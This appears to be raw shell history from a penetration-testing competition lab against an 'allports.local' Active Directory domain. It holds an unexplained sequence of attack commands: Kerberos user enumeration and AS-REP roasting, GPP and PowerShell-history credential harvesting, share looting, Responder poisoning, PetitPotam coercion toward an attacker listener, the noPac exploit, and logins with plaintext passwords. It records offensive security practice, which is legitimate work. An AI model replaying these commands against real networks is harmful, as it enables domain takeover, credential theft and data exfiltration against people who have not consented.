nxc smb 10.0.1.20 -u 'svc_stabilize' -p '1gyroscope' --shares
nxc smb 10.0.1.21 -u 'svc_stabilize' -p '1gyroscope' --shares
smbclient '//10.0.1.6/' -U 'rdavis'
smbclient '//10.0.1.6/' -U 'rdavis' -P 'rosfav50'
smbclient '//10.0.1.6/' -U 'rdavis' -P 'rosdav50'
smbclient '//10.0.1.6/SYSVOL' -U 'rdavis' -P 'rosdav50'
smbclient //10.0.1.6/SYSVOL -U rdavis
nxc smb 10.0.1.21 -u 'rdavis' -p 'rosdav50' --shares -M -L
nxc smb 10.0.1.21 -u 'rdavis' -p 'rosdav50' --shares -M gpp-scan
nxc smb 10.0.1.21 -u 'rdavis' -p 'rosdav50' --shares -M gpp-password
nxc smb 10.0.1.21 -u 'rdavis' -p 'rosdav50' --shares -M gpp_password
nxc smb 10.0.1.6 -u 'rdavis' -p 'rosdav50' -M gpp_password
nxc smb 10.0.1.6 -u 'rdavis' -p 'rosdav50' -M gpp_autologin
coercer
git clone https://github.com/p0dalirius/Coercer.git
cd Coercer
ls
python3 Coercer.py -h
pipx install sectool
pipx install sectools
nxc winrm 10.0.1.6 -u 'rdavis' -p 'rosdav50'
nxc winrm 10.0.1.6 -u 'svc_stabilize' -p '1gyroscope'
nxc winrm 10.0.1.6 -u 'rdavis' -p 'rosdav50' --local-auth
nxc smb 10.0.1.6 -u 'rdavis' -p 'rosdav50' --local-auth
nxc smb 10.0.1.20 -u 'rdavis' -p 'rosdav50' --local-auth
nxc smb 10.0.1.21 -u 'rdavis' -p 'rosdav50' --local-auth
smbclient //10.0.1.21/Galley -U svc_stabilize -k
impacket-smbclient -h
impacket-smbclient -k allports.local/'svc_stabilize':'1gyroscope' -target-ip 10.0.1.21
impacket-smbclient -k allports.local/'svc_stabilize':'1gyroscope'@10.0.1.21
impacket-smbclient -k allports.local/'svc_stabilize':'1gyroscope'@10.0.1.20
impacket-getTGT -h
impacket-getTGT allports.tours/'svc_stabilize':'1gyroscope'
impacket-getTGT allports.local/'svc_stabilize':'1gyroscope'
impacket-getTGT allports.local/'svc_stabilize':'1gyroscope' -dc-ip 10.0.1.6
krb5
kinit
export KRB5CCNAME=svc_stabilize.ccache
impacket-smbclient -k allports.local/'svc_stabilize':'1gyroscope'@10.0.1.21
impacket-smbclient -k allports.local/'svc_stabilize':'1gyroscope'@10.0.1.20
impacket-smbclient -k allports.local/'svc_stabilize':'1gyroscope'@10.0.1.20 -h
impacket-smbclient -k allports.local/'svc_stabilize' -no-pass
impacket-smbclient -k allports.local/'svc_stabilize' -no-pass -dc-ip 10.0.1.6
impacket-smbclient -k allports.local/'svc_stabilize'@10.0.1.20 -no-pass -dc-ip 10.0.1.6
impacket-smbclient -k allports.local/'svc_stabilize'@10.0.1.21 -no-pass -dc-ip 10.0.1.6
impacket-smbclient -k allports.local/'svc_stabilize'@10.0.1.21 -no-pass
sudo apt install krb5-user sssd-krb5
echo $krb5ccname
echo krb5ccname
kinit
nxc smb 10.0.1.21 -u 'rdavis' -p 'rosdav50' --generate-krb5-file
nxc smb 10.0.1.21 -u 'rdavis' -p 'rosdav50' --generate-krb5-file /etc/krb5.conf
nxc smb 10.0.1.6 -u 'rdavis' -p 'rosdav50' --generate-krb5-file /etc/krb5.conf
sudo nxc smb 10.0.1.6 -u 'rdavis' -p 'rosdav50' --generate-krb5-file /etc/krb5.conf
kinit
cat  /etc/krb5.conf
nxc smb 10.0.1.20 -u 'svc_stabilize' -p '1gyroscope' -k
nxc smb 10.0.1.20 -u 'svc_stabilize' -p '1gyroscope' -K
sudo nxc smb 10.0.1.6 -u 'rdavis' -p 'rosdav50' --generate-hosts-file /etc/hosts
nxc smb 10.0.1.20 -u 'svc_stabilize' -p '1gyroscope' -k
impacket-smbclient -k allports.local/'svc_stabilize'@10.0.1.20 -no-pass -dc-ip 10.0.1.6
impacket-smbclient -k allports.local/'svc_stabilize'@10.0.1.20 -no-pass
impacket-smbclient -k allports.local/'svc_stabilize'@10.0.1.21 -no-pass -dc-ip 10.0.1.6
nxc smb 10.0.1.20 -u 'svc_stabilize' -p '1gyroscope' -k -M
nxc smb 10.0.1.20 -u 'svc_stabilize' -p '1gyroscope' -k -M spider_plus
nxc smb 10.0.1.21 -u 'svc_stabilize' -p '1gyroscope' -k -M spider_plus
cd /home/pentester/.nxc/modules/nxc_spider_plus
ls
cat 10.0.1.21.json
cd ~
ls
nxc smb 10.0.1.21 -u 'svc_stabilize' -p '1gyroscope' -k -M spider_plus -o DOWNLOAD_FLAG=True
cd /home/pentester/.nxc/modules/nxc_spider_plus
lz
ls
cd 10.0.1.21/Galley/company_files
ls
cd Admin
ls
cat Internal_Memo_DRAFT_DO_NOT_SHARE.txt
cd ~
cd /home/pentester/.nxc/modules/nxc_spider_plus
cd 10.0.1.21
;s
ls
cd Galley
ls
cd company_files


_raw: : 1762026394:0;sudo responder -I eth0 -w -v


_raw: : 1762026378:0;sudo responder -I eth0 -w -v


_raw: : 1762026370:0;sudo responder -I eth0 -w -r -v


_raw:
ls
ip a
bloodyAD -d allports.local -u 'Guest' -p ''  --host APT-DC-01.allports.local --dc-ip 10.0.1.6 get children -********type useronly
bloodyAD -d allports.local -u 'Guest' -p ''  --host APT-DC-01.allports.local --dc-ip 10.0.1.6 get children -type useronly
bloodyAD -d allports.local -u 'Guest' -p ''  --host APT-DC-01.allports.local --dc-ip 10.0.1.6 get children
bloodyAD -d allports.local -u 'Guest' -p ''  --host APT-DC-01.allports.local --dc-ip 10.0.1.6 get children --type users
bloodyAD -d allports.local -u 'Guest' -p ''  --host APT-DC-01.allports.local --dc-ip 10.0.1.6 get children 'DC=APT-DC-01.allports.local' --type users
bloodyAD -d allports.local -u 'Guest' -p ''  --host APT-DC-01.allports.local --dc-ip 10.0.1.6 get children 'DC=APT-DC-01' --type users


_raw:
touch stuff.txt
vim stuff.txt
ls
cat stuff.txt
python3 petitpotam.py -debug -method AddUsersToFile '10.0.1.6' '\\10.0.254.202'
python3 petitpotam.py -debug -method AddUsersToFile '10.0.1.6' '\\10.0.254.202\share\foo'
python3 petitpotam.py
python3 petitpotam.py APT-DC-01
python3 petitpotam.py APT-DC-01 10.0.1.6
python3 petitpotam.py 10.0.1.6
python3 petitpotam.py 10.0.1.6 10.0.254.202
python3 petitpotam.py 10.0.254.202 10.0.1.6
python3 petitpotam.py 10.0.254.202:4466 10.0.1.6
python3 petitpotam.py 10.0.254.202 10.0.1.6 -p 4456
python3 petitpotam.py 10.0.254.202 10.0.1.6
python3 petitpotam.py 10.0.1.6 10.0.254.202 10.0.1.6
python3 petitpotam.py 10.0.1.6 10.0.254.202


_raw:
git clone https://github.com/topotam/PetitPotam.git
ls
cd PetitPotam
ls
python3 PetitPotam.py
python3 PetitPotam.py -dc-ip 10.0.1.6
python3 PetitPotam.py -dc-ip 10.0.1.6 10.0.1.6 10.0.254.202
python3 PetitPotam.py -dc-ip 10.0.1.6 10.0.254.202 10.0.1.6
cd ..
ls
cd Downloads
ls
python3 petitpotam.py -dc-ip 10.0.1.6 10.0.254.202 10.0.1.6
python3 petitpotam.py -dc-ip 10.0.1.6
nc -lvmp 4455
nc -lvp 4455


_raw: : 1762026347:0;ffuf -u http://chat.allports.tours/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words -ic


_raw: : 1762026324:0;ldapsearch -C -x -H ldap://10.0.1.6 -b "DC=allports,DC=local" -s sub "(objectClass=user)" sAMAccountName,displayName,mail,memberOf -LLL\


_raw:
wget http://10.0.1.11/assets/silence.mp3
ls
exiftool silence.mp3
exiftool silence.mp3 -b


_raw: : 1762026202:0;sudo responder -I eth0 -w -v


_raw: : 1762026200:0;sudo responder -I eth0 -w -v -p


_raw: : 1762026184:0;sudo responder -I eth0 -w -v -h


_raw: : 1762026139:0;sudo responder -I eth0 -w -v


_raw: : 1762026133:0;sudo responder -I eth0 -w -r -v


_raw: : 1762026098:0;ldapsearch -C -x -H ldap://10.0.1.6 -b "DC=allports,DC=local" -s sub "(objectClass=user)" sAMAccountName,displayName,mail,memberOf -LLL\


_raw: : 1762026095:0;pip3 install pycryptodome --break-system-packages


_raw: : 1762026090:0;pip3 install pycryptodome


_raw: : 1762026057:0;apt install python3-netifaces -y


_raw: : 1762026054:0;apt install python3-netifaces


_raw: : 1762026030:0;ldapsearch -x -H ldap://10.0.1.6 -b "DC=allports,DC=local" -s onelevel "(objectClass=organizationalUnit)" dn -LLL\


_raw: : 1762026014:0;ldapsearch -x -H ldap://10.0.1.6 -b "CN=Users,DC=allports,DC=local" -s sub "(objectClass=user)" sAMAccountName,displayName,mail,memberOf -LLL\


_raw: : 1762025821:0;ldapsearch -C -x -H ldap://10.0.1.6 -b "DC=allports,DC=local" -s sub "(objectClass=user)" sAMAccountName,displayName,mail,memberOf -LLL\


_raw: : 1762025809:0;ldapsearch -x -H ldap://10.0.1.6 -b "CN=Users,DC=allports,DC=local" -s sub "(objectClass=user)" sAMAccountName,displayName,mail,memberOf -LLL\


_raw: : 1762025791:0;ldapsearch -x -H ldap://10.0.1.6 -b "DC=allports,DC=local" -s onelevel "(objectClass=organizationalUnit)" dn -LLL\


_raw: : 1762025785:0;python3 noPac.py allports.local/svc_stabilize:'1gyroscope' -dc-ip 10.0.1.6 -use-ldap


_raw: : 1762025774:0;python3 noPac.py allports.local/svc_stabilize:'1gyroscope' -dc-ip 10.0.1.6


_raw: : 1762025757:0;python3 nopac.py allports.local/svc_stabilize:'1gyroscope' -dc-ip 10.0.1.6


_raw: : 1762025739:0;ldapsearch -x -H ldap://10.0.1.6 -b "DC=allports,DC=local" -s sub "(objectClass=user)" sAMAccountName,displayName,mail,memberOf -LLL\


_raw: : 1762025738:0;git clone https://github.com/Ridter/noPac


_raw: : 1762025725:0;python3 nopac.py allports.local/svc_stabilize:'1gyroscope' -dc-ip 10.0.1.6


_raw: : 1762025619:0;gobuster vhost -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain -u penny.allports.local --delay 50ms


_raw: : 1762025575:0;nxc ldap 10.0.1.6 -u 'svc_stabilize' -p '1gyroscope' -M get-desc-users


_raw: : 1762025558:0;nxc ldap 10.0.1.6 -u 'svc_stabilize' -p '1gyroscope' -M maq


_raw: : 1762025543:0;nxc ldap 10.0.1.6 -u 'svc_stabilize' -p '1gyroscope' -M adcs


_raw: : 1762025530:0;gobuster vhost -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain -u allports.local --delay 50ms


_raw: : 1762025464:0;./kerbrute_linux_amd64 userenum -d allports.local --dc 10.0.1.6 ../statistically-likely-usernames/jsmith.txt -o valid_ad_users2


_raw: : 1762025410:0;./kerbrute_linux_amd64 userenum -d allports.local --dc 10.0.1.6 ../statistically-likely-usernames/jsmith.txt -o valid_ad_users


_raw: : 1762025410:0;ldapsearch -x -H ldap://10.0.1.6 -ZZ -b "" -s base "(objectClass=*)" -LLL > rootdse_starttls.ldif\


_raw:
: 1762025333:0;ENDPOINTS=(\
  "/" "/index.html" "/admin" "/admin/login" "/admin/export" "/admin/backup"\
  "/routes" "/routes/" "/routes/list" "/routes/export" "/routes/download"\
  "/saved_routes" "/saved_routes/" "/saved_routes/${ID}" "/saved_routes/${ID}/download"\
  "/saved_routes/${ID}/export" "/saved_routes/${ID}/file" "/api/routes/${ID}"\
  "/api/saved_routes/${ID}" "/api/v1/routes/${ID}" "/api/v1/saved_routes/${ID}"\
  "/voyage" "/current_voyage" "/download" "/downloads" "/files" "/attachments"\
)


_raw: : 1762025320:0;ldapsearch -x -H ldap://10.0.1.6 -b "" -s base "(objectClass=*)" namingContexts defaultNamingContext -LLL


_raw: : 1762025276:0;nxc ldap 10.0.1.6 -u 'svc_stabilize' -p '1gyroscope' --users > ldap.txt


_raw: : 1762025275:0;mysql -h 10.0.1.15 -u boatgps -p'anchor2024' -D gps_tracker -e "SELECT * FROM saved_routes ORDER BY 1 DESC LIMIT 10\G" --skip-ssl\


_raw: : 1762025270:0;mysql -h 10.0.1.15 -u boatgps -p'anchor2024' -D gps_tracker -e "SELECT * FROM saved_routes ORDER BY 1 DESC LIMIT 10\G"\


_raw: : 1762025250:0;sudo tcpdump -nni any 'host 10.0.1.254 and (tcp port 9697 or icmp)' -c 200\


_raw: : 1762025232:0;./kerbrute_linux_amd64 userenum -d allports.local --dc 10.0.1.6 ../statistically-likely-usernames/johnsmith.txt -o valid_ad_users


_raw: : 1762025203:0;./kerbrute_linux_amd64 userenum -d allports.local --dc 10.0.1.6 ../statistically-likely-usernames/jsmith.txt -o valid_ad_users


_raw: : 1762025201:0;git clone https://github.com/danielmiessler/SecLists.git


_raw: : 1762025190:0;./kerbrute_linux_amd64 userenum -d allports.local --dc 10.0.1.6 ../statistically-likely-usernames/jsmith.txt


_raw: : 1762025176:0;git clone https://github.com/insidetrust/statistically-likely-usernames.git


_raw: : 1762025173:0;nxc ldap 10.0.1.6 -u 'svc_stabilize' -p '1gyroscope' --users


_raw: : 1762025167:0;nxc ldap 10.0.1.6 -u 'svc_stabilize' -p '1gyroscope'


_raw: : 1762025144:0;rpcclient -U 'svc_stabilize' -p '1gyroscope'


_raw:
: 1762025143:0;curl -sS "http://10.0.1.15:8081/v2/api-docs" -o swagger.json || \\
curl -sS "http://10.0.1.15:8081/openapi.json" -o swagger.json || \\
curl -sS "http://10.0.1.15:8081/swagger.json" -o swagger.json


_raw: : 1762025072:0;chmod +x kerbrute_linux_amd64


_raw: : 1762025057:0;certipy-ad find -u 'SVC_STABILIZE' -p '1gyroscope' -dc-ip 10.0.1.6 -stdout -vulnerable


_raw: : 1762025051:0;certipy-ad find -u 'SVC_STABILIZE' -p '1gyroscope' --dc-ip 10.0.1.6 -stdout -vulnerable


_raw: : 1762024953:0;impacket-GetADUsers -dc-ip 10.0.1.6 -no-pass allports.local/bfinn:bfinn


_raw: : 1762024946:0;impacket-GetADUsers -dc-ip 10.0.1.6 -no-pass allports.local/bfinn


_raw: : 1762024945:0;impacket-GetNPUsers -request -format hashcat -outputfile asrep -dc-ip 10.0.1.6 'allports.local/'


_raw: : 1762024928:0;nxc ldap allports.local -p '' -u '' --users


_raw:
nmap -h
clear
ssh root@10.0.1.15:22
ssh -p- root@10.0.1.15 22
ssh -h
ssh -p- root@10.0.1.15 22 -p 22
ssh root@10.0.1.15
searchsploit
ls
cat password.txt


_raw: : 1762024917:0;sudo git clone https://github.com/ropnop/kerbrute.git


_raw: : 1762024917:0;impacket-GetADUsers -dc-ip 10.0.1.6 -no-pass bfinn\allports.local


_raw: : 1762024912:0;sudo apt install seclists


_raw: : 1762024909:0;impacket-GetADUsers -dc-ip 10.0.1.6 -no-pass \allports.local


_raw: : 1762024905:0;[200~sudo apt install seclists


_raw: : 1762024903:0;impacket-GetADUsers -dc-ip 10.0.1.6 -no-pass /allports.local


_raw: : 1762024896:0;impacket-GetADUsers -dc-ip 10.0.1.6 -no-pass allports.local


_raw: : 1762024890:0;impacket-GetADUsers -dc-ip 10.0.1.6 -no-pass


_raw: : 1762024868:0;nmap -p 389 --script ldap-rootdse,ldap-search 10.0.1.6\


_raw:
dig version.bind CHAOS TXT @10.0.1.1
dig axfr @10.0.1.1
matego
maltego
clear
nmap -sU -p 53,67,68,69,123,161,500,4500,1701,520,5678,5246,5247,20561 \\
  --open -sV -Pn -v 192.0.2.1\
nmap -sU -p 53,67,68,69,123,161,500,4500,1701,520,5678,5246,5247,20561 \\
  --open -sV -Pn 10.0.1.1\
snmpget -v2c -c public 10.0.1.1 1.3.6.1.2.1.1.1.0
snmpget -v2c -c public 10.0.1.1 1.3.6.1.2.1.1.5.0
snmpget -v2c -c public 10.0.1.1 1.3.6.1.2.1.1.4.0
snmpwalk -v2c -c public 10.0.1.1
sudo nmap -sU -p161 --script=snmp-info,snmp-sysdescr 10.0.1.1
nmap -sU -p161 --script=snmp-info,snmp-sysdescr 10.0.1.1
sudo nping --udp -p 20561 -c 3 --rate 1 10.0.1.1
nping --udp -p 20561 -c 3 --rate 1 10.0.1.1
sudo nping --udp -p 20561 -c 3 --rate 1 10.0.1.1
dirb https://proxy-cptc11-apps-room-console-cmiller-infra-readiness/i
dirb https://proxy-cptc11-apps-room-console-cmiller-infra-readiness/
dirb http://proxy-cptc11-apps-room-console-cmiller-infra-readiness/
dirb http://proxy-cptc11-apps-room-console-cmiller-infra-readiness/console/


_raw:
: 1762024779:0;# StartTLS via ldapsearch\
ldapsearch -x -H ldap://10.0.1.6 -ZZ -s base -b "" "(objectClass=*)" +\
\
# LDAPS certificate using OpenSSL\
openssl s_client -connect 10.0.1.6:636 -showcerts\


_raw: : 1762024769:0;nmap -A -T4 admin.rooms.allports.tours


_raw:
sudo apt update
sudo apt install bloodhound
smbclient -h
sudo nmap -Pn 10.0.1.0/24


_raw: : 1762024743:0;kerbrute userenum -d DECKHAND-01.allports.local --dc 10.0.1.20 guest.txt -o valid_ad_users


_raw: : 1762024717:0;nxc ldap 10.0.1.6 -u users.txt -p '' --asreproast asrep.txt


_raw: : 1762024715:0;nxc smb 10.0.1.6 -u 'rdavis' -p 'rosdav50' -M powershell_history


_raw: : 1762024698:0;kerbrute userenum -d DECKHAND-01.allports.local --dc 10.0.1.20 guest -o valid_ad_users


_raw: : 1762024695:0;nxc smb 10.0.1.6 -u 'rdavis' -p 'rosdav50' -M power_shell history


_raw: : 1762024681:0;nxc ldap 10.0.1.6 -u users.txt --asreproast asrep.txt


_raw: : 1762024618:0;gobuster dir -u http://10.0.1.11:80 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt


_raw: : 1762024608:0;curl -s "http://10.0.1.15:8080/info.php" | grep -i -E "open_basedir|safe_mode|disable_functions|allow_url_include|allow_url_fopen" -n\


_raw: : 1762024599:0;nxc smb 10.0.1.6 -u 'jellyfinn' -p 'jellyfinn' --users


_raw: : 1762024564:0;gobuster dir http://10.0.1.11:80 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt


_raw: : 1762024542:0;kerbrute userenum -d 10.0.1.20 users.txt